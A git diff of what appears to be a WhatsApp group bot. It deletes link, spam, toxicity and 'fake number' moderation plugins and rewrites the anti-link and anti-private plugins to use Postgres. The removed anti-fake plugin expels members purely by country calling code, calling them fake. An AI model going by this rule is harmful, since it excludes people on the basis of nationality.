+ "jimp": "^1.6.0",
+ "human-readable": "^0.2.1",
+ "hispamemes": "^1.0.7",
+ "node-cache": "^5.1.2"
+ },
+ "optionalDependencies": {
+ "wa-sticker-formatter": "^4.4.4",
+ "moment-timezone": "^0.5.37",
+ "pg": "^8.11.3"
+ }
+}
diff --git a/plugins/_allantilink.js b/plugins/_allantilink.js
deleted file mode 100644
index 643d0bf7f..000000000
--- a/plugins/_allantilink.js
+++ /dev/null
@@ -1,94 +0,0 @@
-import fetch from 'node-fetch'
-const isLinkTik = /tiktok.com/i
-const isLinkYt = /youtube.com|youtu.be/i
-const isLinkTel = /telegram.com|t.me/i
-const isLinkFb = /facebook.com|fb.me/i
-const isLinkIg = /instagram.com/i
-const isLinkTw = /twitter.com/i
-
-export async function before(m, { conn, args, usedPrefix, command, isAdmin, isBotAdmin }) {
-if (m.isBaileys && m.fromMe)
-return !0
-if (!m.isGroup) return !1
-let chat = global.db.data.chats[m.chat]
-let bot = global.db.data.settings[this.user.jid] || {}
-let delet = m.key.participant
-let bang = m.key.id
-let toUser = `${m.sender.split("@")[0]}`
-let aa = toUser + '@s.whatsapp.net'
-
-const isAntiLinkTik = isLinkTik.exec(m.text)
-const isAntiLinkYt = isLinkYt.exec(m.text)
-const isAntiLinkTel = isLinkTel.exec(m.text)
-const isAntiLinkFb = isLinkFb.exec(m.text)
-const isAntiLinkIg = isLinkIg.exec(m.text)
-const isAntiLinkTw = isLinkTw.exec(m.text)
-
-if (chat.antiTiktok && isAntiLinkTik) {
-if (isBotAdmin && bot.restrict) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsEnlaceTik']()} *@${toUser}*`, null, { mentions: [aa] })
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-} else if (!isBotAdmin) {
-return m.reply(`${lenguajeGB['smsAvisoFG']()} ${lenguajeGB['smsAllAdmin']()}`)
-} else if (!bot.restrict) {
-return m.reply(`${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`)
-}}
-
-if (chat.antiYoutube && isAntiLinkYt) {
-if (isBotAdmin && bot.restrict) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsEnlaceYt']()} *@${toUser}*`, null, { mentions: [aa] })
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-} else if (!isBotAdmin) {
-return m.reply(`${lenguajeGB['smsAvisoFG']()} ${lenguajeGB['smsAllAdmin']()}`)
-} else if (!bot.restrict) {
-return m.reply(`${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`)
-}}
-
-if (chat.antiTelegram && isAntiLinkTel) {
-if (isBotAdmin && bot.restrict) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsEnlaceTel']()} *@${toUser}*`, null, { mentions: [aa] })
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-} else if (!isBotAdmin) {
-return m.reply(`${lenguajeGB['smsAvisoFG']()} ${lenguajeGB['smsAllAdmin']()}`)
-} else if (!bot.restrict) {
-return m.reply(`${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`)
-}}
-
-if (chat.antiFacebook && isAntiLinkFb) {
-if (isBotAdmin && bot.restrict) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsEnlaceFb']()} *@${toUser}*`, null, { mentions: [aa] })
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-} else if (!isBotAdmin) {
-return m.reply(`${lenguajeGB['smsAvisoFG']()} ${lenguajeGB['smsAllAdmin']()}`)
-} else if (!bot.restrict) {
-return m.reply(`${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`)
-}}
-
-if (chat.antiInstagram && isAntiLinkIg) {
-if (isBotAdmin && bot.restrict) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsEnlaceIg']()} *@${toUser}*`, null, { mentions: [aa] })
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-} else if (!isBotAdmin) {
-return m.reply(`${lenguajeGB['smsAvisoFG']()} ${lenguajeGB['smsAllAdmin']()}`)
-} else if (!bot.restrict) {
-return m.reply(`${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`)
-}}
-
-if (chat.antiTwitter && isAntiLinkTw) {
-if (isBotAdmin && bot.restrict) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsEnlaceTw']()} *@${toUser}*`, null, { mentions: [aa] })
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-} else if (!isBotAdmin) {
-return m.reply(`${lenguajeGB['smsAvisoFG']()} ${lenguajeGB['smsAllAdmin']()}`)
-} else if (!bot.restrict) {
-return m.reply(`${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`)
-}}
-return !0
-}
-
diff --git a/plugins/_antifakes.js b/plugins/_antifakes.js
deleted file mode 100644
index 2df678670..000000000
--- a/plugins/_antifakes.js
+++ /dev/null
@@ -1,121 +0,0 @@
-let handler = m => m
-handler.before = async function (m, {conn, isAdmin, isBotAdmin, isOwner, isROwner} ) {
-const fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net"
-}
-if (!m.isGroup) return !1
-let chat = global.db.data.chats[m.chat]
-let bot = global.db.data.settings[conn.user.jid] || {}
-if (isBotAdmin && chat.antifake && !isAdmin && !isOwner && !isROwner) {
-//if (!db.data.chats[m.chat].antifake && m.isGroup) throw 0
-let texto = `${ag}este numero *@${m.sender.split`@`[0]}* no esta permitido en este grupo!!\n\nlo siento seras expulsado.. tu numero parece algo fake 😯`
-
-if (m.sender.startsWith('91' || '91')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('92' || '92')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('222' || '222')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('93' || '93')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('91' || '91')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('265' || '265')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('61' || '61')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('62' || '62')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('966' || '966')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('229' || '229')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('40' || '40')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('49' || '49')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('20' || '20')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('963' || '963')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('967' || '967')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('234' || '234')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('210' || '210')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-if (m.sender.startsWith('212' || '212')) {
-await conn.reply(m.chat, texto, fkontak, m)
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-}
-
-}}
-export default handler
diff --git a/plugins/_antilink.js b/plugins/_antilink.js
index e3ab6629d..399e3e9da 100644
--- a/plugins/_antilink.js
+++ b/plugins/_antilink.js
@@ -1,28 +1,51 @@
-let linkRegex = /chat.whatsapp.com\/([0-9A-Za-z]{20,24})/i
-export async function before(m, { isAdmin, isBotAdmin }) {
-if (m.isBaileys && m.fromMe)
-return !0
-if (!m.isGroup) return !1
-let chat = global.db.data.chats[m.chat]
-let delet = m.key.participant
-let bang = m.key.id
-const user = `@${m.sender.split`@`[0]}`;
-let bot = global.db.data.settings[this.user.jid] || {}
-const isGroupLink = linkRegex.exec(m.text)
-const grupo = `https://chat.whatsapp.com`
-if (isAdmin && chat.antiLink && m.text.includes(grupo)) return m.reply('*El AntiLink Esta activo pero que salvarte eres admin 😎!*')
-if (chat.antiLink && isGroupLink && !isAdmin) {
-if (isBotAdmin) {
-const linkThisGroup = `https://chat.whatsapp.com/${await this.groupInviteCode(m.chat)}`
-if (m.text.includes(linkThisGroup)) return !0
-}
-await conn.sendMessage(m.chat, {text: `*「 ANTILINK DETECTADO 」*\n\n${user} 🤨 Rompiste las reglas del Grupo sera eliminado....`, mentions: [m.sender]}, {quoted: m, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-if (!isBotAdmin) return m.reply('*Te salvarte gil, no soy admin no te puedo eliminar*')
-if (isBotAdmin) {
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-} else if (!bot.restrict) return m.reply('*𝙀𝙡 𝙥𝙧𝙤𝙥𝙞𝙚𝙩𝙖𝙧𝙞𝙤 𝙙𝙚𝙡 𝙗𝙤𝙩 𝙣𝙤 𝙩𝙞𝙚𝙣𝙚 𝙖𝙘𝙩𝙞𝙫𝙖𝙙𝙤 𝙚𝙡 𝙧𝙚𝙨𝙩𝙧𝙞𝙘𝙘𝙞𝙤𝙣 (𝙚𝙣𝙖𝙗𝙡𝙚 𝙧𝙚𝙨𝙩𝙧𝙞𝙘𝙩) 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙚 𝙘𝙤𝙣 𝙚𝙡 𝙥𝙖𝙧𝙖 𝙦𝙪𝙚 𝙡𝙤𝙨 𝙝𝙖𝙗𝙞𝙡𝙞𝙩𝙚*')
+import { db } from '../lib/postgres.js';
+
+let linkRegex1 = /chat\.whatsapp\.com\/[0-9A-Za-z]{20,24}|5chat-whatzapp\.vercel\.app/i;
+let linkRegex2 = /whatsapp\.com\/channel\/[0-9A-Za-z]{20,24}/i;
+
+export async function before(m, { conn }) {
+if (!m.isGroup || !m.originalText) return;
+const userTag = `@${m.sender.split('@')[0]}`;
+const bang = m.key.id;
+let delet = m.key.participantAlt || m.key.participant || m.sender;
+
+try {
+const res = await db.query('SELECT antilink FROM group_settings WHERE group_id = $1', [m.chat]);
+const config = res.rows[0];
+if (!config || !config.antilink) return;
+} catch (e) {
+console.error(e);
+return;
}
-return !0
+
+const isGroupLink = linkRegex1.test(m.originalText) || linkRegex2.test(m.originalText);
+if (!isGroupLink) return;
+const metadata = await conn.groupMetadata(m.chat);
+const botId = conn.user?.id?.replace(/:\d+@/, "@");
+const isBotAdmin = metadata.participants.some(p => {
+const pid = p.id?.replace(/:\d+/, "");
+return (pid === botId || pid === (conn.user?.lid || "").replace(/:\d+/, "")) && p.admin;
+});
+
+const senderVariants = [m.sender, m.lid].filter(Boolean).map(j => j.replace(/:\d+/, ""));
+const isSenderAdmin = metadata.participants.some(p => {
+const pid = p.id?.replace(/:\d+/, "");
+return senderVariants.includes(pid) && p.admin;
+});
+
+if (isSenderAdmin || m.fromMe) return;
+if (conn.groupInviteCode) {
+try {
+const code = await conn.groupInviteCode(m.chat);
+if (m.originalText.includes(`https://chat.whatsapp.com/${code}`)) return;
+} catch {}
}
+
+if (!isBotAdmin) return await conn.sendMessage(m.chat, { text: `*「 ANTILINK DETECTADO 」*\n\n${userTag}, enviaste un link pero no puedo eliminarte porque no soy admin.`, mentions: [m.sender]}, { quoted: m });
+await conn.sendMessage(m.chat, { text: `*「 ANTILINK DETECTADO 」*\n\n${userTag}, rompiste las reglas del grupo y serás eliminado.`, mentions: [m.sender]}, { quoted: m });
+try {
+await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }});
+await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove');
+} catch (err) {
+console.error(err);
+}}
diff --git a/plugins/_antilink2.js b/plugins/_antilink2.js
index e9d2470cf..1ada81ea7 100644
--- a/plugins/_antilink2.js
+++ b/plugins/_antilink2.js
@@ -1,31 +1,50 @@
-let linkRegex = /https:/i
-export async function before(m, { isAdmin, isBotAdmin, text }) {
-if (m.isBaileys && m.fromMe)
-return !0
-if (!m.isGroup) return !1
-let chat = global.db.data.chats[m.chat]
-let delet = m.key.participant
-let bang = m.key.id
-const user = `@${m.sender.split`@`[0]}`;
-let bot = global.db.data.settings[this.user.jid] || {}
-const isGroupLink = linkRegex.exec(m.text)
-if (chat.antiLink2 && isGroupLink && !isAdmin) {
-if (isBotAdmin) {
-const linkThisGroup = `https://chat.whatsapp.com/${await this.groupInviteCode(m.chat)}`
-const linkThisGroup2 = `https://www.youtube.com/`
-const linkThisGroup3 = `https://youtu.be/`
-if (m.text.includes(linkThisGroup)) return !0
-if (m.text.includes(linkThisGroup2)) return !0
-if (m.text.includes(linkThisGroup3)) return !0
-}
-await conn.sendMessage(m.chat, {text: `*「 ANTILINK DETECTADO 」*\n\n${user} 🤨 Rompiste las reglas del Grupo sera eliminado....`, mentions: [m.sender]}, {quoted: m, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-//await conn.reply(m.chat, `*「 𝘼𝙉𝙏𝙄 𝙇𝙄𝙉𝙆𝙎 」*\n\n*𝘾𝙝𝙚, ${await this.getName(m.sender)} 𝙀𝙨𝙤 𝙣𝙤 𝙨𝙚 𝙥𝙚𝙧𝙢𝙞𝙩𝙚 𝙧𝙖𝙩𝙖, 𝙧𝙤𝙢𝙥𝙞𝙨𝙩𝙚 𝙡𝙖 𝙧𝙚𝙜𝙡𝙖𝙨 𝙙𝙚𝙡 𝙜𝙧𝙪𝙥𝙤 𝙨𝙚𝙧𝙖́ 𝙚𝙡𝙞𝙢𝙞𝙣𝙖𝙙𝙤 🤑....!!*${isBotAdmin ? '' : '\n\n*[❗𝐈𝐍𝐅𝐎❗] 𝑯𝒆𝒚 𝒒𝒖𝒆 𝒔𝒂𝒍𝒗𝒂𝒓𝒕𝒆 𝑮𝒊𝒍 𝒆𝒍 𝒃𝒐𝒕 𝒏𝒐 𝒆𝒔 𝒂𝒅𝒎𝒊𝒏 :v*'}`, null, { mentions: [m.sender] } )
-if (!isBotAdmin) return m.reply('*Te salvarte gil, no soy admin no te puedo eliminar*')
-if (isBotAdmin) {
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-let responseb = await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-if (responseb[0].status === "404") return
-} else if (!bot.restrict) return m.reply('*𝙀𝙡 𝙥𝙧𝙤𝙥𝙞𝙚𝙩𝙖𝙧𝙞𝙤 𝙙𝙚𝙡 𝙗𝙤𝙩 𝙣𝙤 𝙩𝙞𝙚𝙣𝙚 𝙖𝙘𝙩𝙞𝙫𝙖𝙙𝙤 𝙚𝙡 𝙧𝙚𝙨𝙩𝙧𝙞𝙘𝙘𝙞𝙤́𝙣 (𝙚𝙣𝙖𝙗𝙡𝙚 𝙧𝙚𝙨𝙩𝙧𝙞𝙘𝙩) 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙚 𝙘𝙤𝙣 𝙚𝙡 𝙥𝙖𝙧𝙖 𝙦𝙪𝙚 𝙡𝙤𝙨 𝙝𝙖𝙗𝙞𝙡𝙞𝙩𝙚*')
+import { db } from '../lib/postgres.js';
+
+const linkRegex = /https?:\/\/\S+/i;
+
+export async function before(m, { conn }) {
+if (!m.isGroup || !m.originalText) return;
+const userTag = `@${m.sender.split('@')[0]}`;
+const bang = m.key.id;
+let delet = m.key.participantAlt || m.key.participant || m.sender;
+
+try {
+const res = await db.query('SELECT antilink2 FROM group_settings WHERE group_id = $1', [m.chat]);
+const config = res.rows[0];
+if (!config || !config.antilink) return;
+} catch (e) {
+console.error(e);
+return;
}
-return !0
+
+const isGroupLink = linkRegex.test(m.originalText);
+if (!isGroupLink) return;
+const metadata = await conn.groupMetadata(m.chat);
+const botId = conn.user?.id?.replace(/:\d+@/, "@");
+const isBotAdmin = metadata.participants.some(p => {
+const pid = p.id?.replace(/:\d+/, "");
+return (pid === botId || pid === (conn.user?.lid || "").replace(/:\d+/, "")) && p.admin;
+});
+
+const senderVariants = [m.sender, m.lid].filter(Boolean).map(j => j.replace(/:\d+/, ""));
+const isSenderAdmin = metadata.participants.some(p => {
+const pid = p.id?.replace(/:\d+/, "");
+return senderVariants.includes(pid) && p.admin;
+});
+
+if (isSenderAdmin || m.fromMe) return;
+if (conn.groupInviteCode) {
+try {
+const code = await conn.groupInviteCode(m.chat);
+if (m.originalText.includes(`https://chat.whatsapp.com/${code}`)) return;
+} catch {}
}
+
+if (!isBotAdmin) return await conn.sendMessage(m.chat, { text: `*「 ANTILINK DETECTADO 」*\n\n${userTag}, enviaste un link pero no puedo eliminarte porque no soy admin.`, mentions: [m.sender]}, { quoted: m });
+await conn.sendMessage(m.chat, { text: `*「 ANTILINK DETECTADO 」*\n\n${userTag}, rompiste las reglas del grupo y serás eliminado.`, mentions: [m.sender]}, { quoted: m });
+try {
+await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }});
+await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove');
+} catch (err) {
+console.error(err);
+}}
diff --git a/plugins/_antiprivado.js b/plugins/_antiprivado.js
index 458b8ec00..0d663182f 100644
--- a/plugins/_antiprivado.js
+++ b/plugins/_antiprivado.js
@@ -1,35 +1,55 @@
-const comandos = /piedra|papel|tijera|estado|verificar|creadora|bottemporal|grupos|instalarbot|términos|bots|deletebot|eliminarsesion|serbot|verify|registrar|deletesesion|jadibot/i
-export async function before(m, {conn, isAdmin, isBotAdmin, isOwner, isROwner, usedPrefix, command }) {
-if (m.isBaileys && m.fromMe) return !0
-if (m.isGroup) return !1
-if (!m.message) return !0
-const regex = new RegExp(`^${comandos.source}$`, 'i')
-if (regex.test(m.text.toLowerCase().trim())) return !0
-
-let chat, user, bot, mensaje
-chat = global.db.data.chats[m.chat]
-user = global.db.data.users[m.sender]
-bot = global.db.data.settings[this.user.jid] || {}
-
-if (bot.antiPrivate && !isOwner && !isROwner) {
-if (user.counterPrivate === 0) {
-mensaje = `Hola *@${m.sender.split`@`[0]}*, Esta prohibido usar el bot el privado\n\n✴️solo si quiere hacerte un bot manda el comando .serbot\n\n🚫NO USAR LOS COMANDO DEL BOT AL PV🚫\n\nPara usar el bot unirte al grupo del oficial del el bot\n${nn}\n\n⚠️ \`\`\`ADVERTENCIA 1/3\`\`\` ⚠️`
-await conn.reply(m.chat, mensaje, m, { mentions: [m.sender] })
-
-} else if (user.counterPrivate === 1) {
-let grupos = [ nn, nnn, nnnt, nnntt, nnnttt ].getRandom()
-mensaje = `*Otra vez 🤨 ya que dije no escriba al privado 🫤*\n\n*Para usar el bot unirte al grupo oficial aqui 👇*\n${grupos}\n\n*SI VUELVE A ESCRIBIR SERÁ BLOQUEADO(A)* ‼️\n⚠️ \`\`\`ADVERTENCIA 2/3\`\`\` ⚠️`
-await conn.reply(m.chat, mensaje, m, { mentions: [m.sender] })
-
-} else if (user.counterPrivate === 2) {
-mensaje = `*@${m.sender.split`@`[0]} 🤨, NO ENTIENDE QUE REPITE 3 VECES NO ESCRIBE AL PRIVADO, AHORA SERA BLOQUEADO.*\n\n⚠️ \`\`\`ADVERTENCIA 3/3 \`\`\` ⚠️`
-await conn.reply(m.chat, mensaje, m, { mentions: [m.sender] })
-
-user.counterPrivate = -1
-await this.updateBlockStatus(m.sender, 'block')
+import { db } from '../lib/postgres.js'
+import { getSubbotConfig } from '../lib/postgres.js'
+import chalk from 'chalk'
+
+const comandosPermitidos = ['code', 'serbot', 'jadibot', 'bots', 'piedra', 'tijera', 'papel']
+export async function before(m, { conn, isOwner }) {
+const botId = conn.user?.id || globalThis.conn.user.id
+const config = await getSubbotConfig(botId)
+const chatId = m.chat || m.key?.remoteJid || ''
+const sender = m.sender
+const texto = m.originalText?.toLowerCase().trim() || m.text?.toLowerCase().trim() || ''
+
+if (m.isGroup || m.fromMe || isOwner) {
+return
}
-user.counterPrivate++
+
+if (!config.anti_private) return
+const prefixes = Array.isArray(config.prefix) ? config.prefix : [config.prefix || '/']
+
+let usedPrefix = ''
+for (const prefix of prefixes) {
+if (texto.startsWith(prefix)) {
+usedPrefix = prefix
+break
+}}
+
+const withoutPrefix = texto.slice(usedPrefix.length).trim()
+const [commandName, ...args] = withoutPrefix.split(/\s+/)
+const command = commandName ? commandName.toLowerCase() : ''
+
+if (comandosPermitidos.includes(command)) {
+return
}
-return !1
+
+try {
+let res = await db.query(`SELECT warn_pv FROM usuarios WHERE id = $1`, [sender])
+let warned = res.rows[0]?.warn_pv || false
+
+if (!res.rowCount) {
+await db.query(`INSERT INTO usuarios (id, warn_pv) VALUES ($1, true)`, [sender])
+await m.reply(`Hola, está prohibido usar los comandos en privado...\n\n*\`🔰 SI QUIERES HACERTE UN SUB BOT, USA LOS SIGUIENTES COMANDOS:\`*\n/serbot\n/code\n\n> _*Para usar mis funciones, únete al grupo oficial 👇*_\n${[info.nn, info.nn2, info.nn3, info.nn4, info.nn5, info.nn6].getRandom()}`)
+return false
}
+if (!warned) {
+await db.query(`UPDATE usuarios SET warn_pv = true WHERE id = $1`, [sender])
+await m.reply(`Hola, está prohibido usar los comandos en privado...\n\n*\`🔰 SI QUIERES HACERTE UN SUB BOT, USA LOS SIGUIENTES COMANDOS:\`*\n/serbot\n/code\n\n> _*Para usar mis funciones, únete al grupo oficial 👇*_\n${[info.nn, info.nn2, info.nn3, info.nn4, info.nn5, info.nn6].getRandom()}`)
+return false
+}
+
+return false
+} catch (e) {
+return false
+}
+}
\ No newline at end of file
diff --git a/plugins/_antispam.js b/plugins/_antispam.js
deleted file mode 100644
index 89933c425..000000000
--- a/plugins/_antispam.js
+++ /dev/null
@@ -1,102 +0,0 @@
-const userSpamData = {}
-let handler = m => m
-handler.before = async function (m, {conn, isAdmin, isBotAdmin, isOwner, isROwner, isPrems}) {
-const chat = global.db.data.chats[m.chat]
-if (!m.isGroup) return
-if (chat.modoadmin) return
-if (isOwner || isROwner || isAdmin || !isBotAdmin || isPrems) return
-
-let user = global.db.data.users[m.sender]
-const sender = m.sender
-const currentTime = new Date().getTime()
-const timeWindow = 5000 // tiempo límite
-const messageLimit = 8 // cantidad de mensajes en dicho tiempo
-
-let time, time2, time3, mensaje
-time = 60000 // 1 min
-time2 = 120000 // 2 min
-time3 = 360000 // 4 min
-
-if (!(sender in userSpamData)) {
-userSpamData[sender] = {
-lastMessageTime: currentTime,
-messageCount: 1,
-antiBan: 0,
-message: 0,
-message2: 0,
-message3: 0,
-}
-} else {
-const userData = userSpamData[sender]
-const timeDifference = currentTime - userData.lastMessageTime
-
-if (userData.antiBan === 1) {
-if (userData.message < 1) {
-userData.message++
-mensaje = `*HEY @${m.sender.split`@`[0]} DEJA SPAM 🤨*\n*NO PUEDE USAR COMANDOS DURANTE 1 MINUTOS*\n\n*MOTIVO: SPAM DE MENSAJES LEVE*\n\n⚠️ \`\`\`ADVERTENCIA 1/3\`\`\` ⚠️`
-await conn.reply(m.chat, mensaje, m, { mentions: [m.sender] })
-}} else if (userData.antiBan === 2) {
-if (userData.message2 < 1) {
-userData.message2++
-mensaje = `*HEY @${m.sender.split`@`[0]} OTRA VEZ 🤨DEJA EL PUTO SPAM*\n*NO PUEDE USAR COMANDOS DURANTE 2 MINUTOS*\n*MOTIVO: SPAM*\n\n*SI VUELVE A HACES SPAM SERA ELIMINADO DEL GRUPO*\n\n⚠️ \`\`\`ADVERTENCIA 2/3\`\`\` ⚠️`
-await conn.reply(m.chat, mensaje, m, { mentions: [m.sender] })
-}} else if (userData.antiBan === 3) {
-if (userData.message3 < 1) {
-userData.message3++
-mensaje = `*Ufff @${m.sender.split`@`[0]} 🤨 NO ENTENDER? QUE REPERTI 3 VECES NO HAGAS SPAM*\nAHORA SERA ELIMINADO DEL GRUPO....`
-await conn.reply(m.chat, mensaje, m, { mentions: [m.sender] })
-await conn.groupParticipantsUpdate(m.chat, [sender], 'remove')
-}}
-
-if (timeDifference <= timeWindow) {
-userData.messageCount += 1
-
-if (userData.messageCount >= messageLimit) {
-const mention = `@${sender.split("@")[0]}`
-const warningMessage = `*${mention} 🤨 ESTA PROHIBIDO HACER SPAM DE MENSAJES!!*`
-if (userData.antiBan > 2) return
-await conn.reply(m.chat, warningMessage, m, { mentions: [m.sender] })
-user.banned = true
-userData.antiBan++
-userData.messageCount = 1
-
-if (userData.antiBan === 1) {
-setTimeout(() => {
-if (userData.antiBan === 1) {
-userData.antiBan = 0
-userData.message = 0
-userData.message2 = 0
-userData.message3 = 0
-user.banned = false
-}}, time)
-
-} else if (userData.antiBan === 2) {
-setTimeout(() => {
-if (userData.antiBan === 2) {
-userData.antiBan = 0
-userData.message = 0
-userData.message2 = 0
-userData.message3 = 0
-user.banned = false
-}}, time2)
-
-} else if (userData.antiBan === 3) {
-setTimeout(() => {
-if (userData.antiBan === 3) {
-userData.antiBan = 0
-userData.message = 0
-userData.message2 = 0
-userData.message3 = 0
-user.banned = false
-}}, time3)
-
-}}
-} else {
-if (timeDifference >= 2000) {
-userData.messageCount = 1
-}}
-userData.lastMessageTime = currentTime
-}}
-
-export default handler
-
diff --git a/plugins/_antitoxic.js b/plugins/_antitoxic.js
deleted file mode 100644
index 69dabdf96..000000000
--- a/plugins/_antitoxic.js
+++ /dev/null
@@ -1,32 +0,0 @@
-/*const toxicRegex = /g0re|g0r3|g.o.r.e|sap0|sap4|malparido|malparida|malparidos|malparidas|m4lp4rid0|m4lp4rido|m4lparido|malp4rido|m4lparid0|malp4rid0|chocha|chup4la|chup4|sabandija|hijodelagranputa|hijodeputa|hijadeputa|hijadelagranputa|cajetuda|laconchadedios|putita|put1t4|putit4|put1ta|pr0stitut4s|pr0stitutas|pr05titutas|pr0stitut45|prostitut45|prostituta5|pr0stitut45|fanax|f4nax|p3n3|pen3|p.e.n.e|pvt0|hijodelagransetentamilparesdeputa|Chingadamadre|c0ño|afeminado|drog4|cocaína|marihuana|chocho|pedorro|agrandada|pedorra|cagona|mamar|chigadamadre|hijueputa|chupa|caca|boba|loca|chupapolla|estupido|estupida|estupidos|idiota|maricon|chucha|verga|vrga|naco|rctmre|mrd|csm|cp|cepe|sepe|sepesito|cepecito|cepesito|hldv|baboso|babosa|babosos|babosas|fea|feas|chupame|bolas|imbecil|embeciles|kbrones|cabron|capullo|gore|gorre|gorreo|sapa|mierda|cerdo|cerda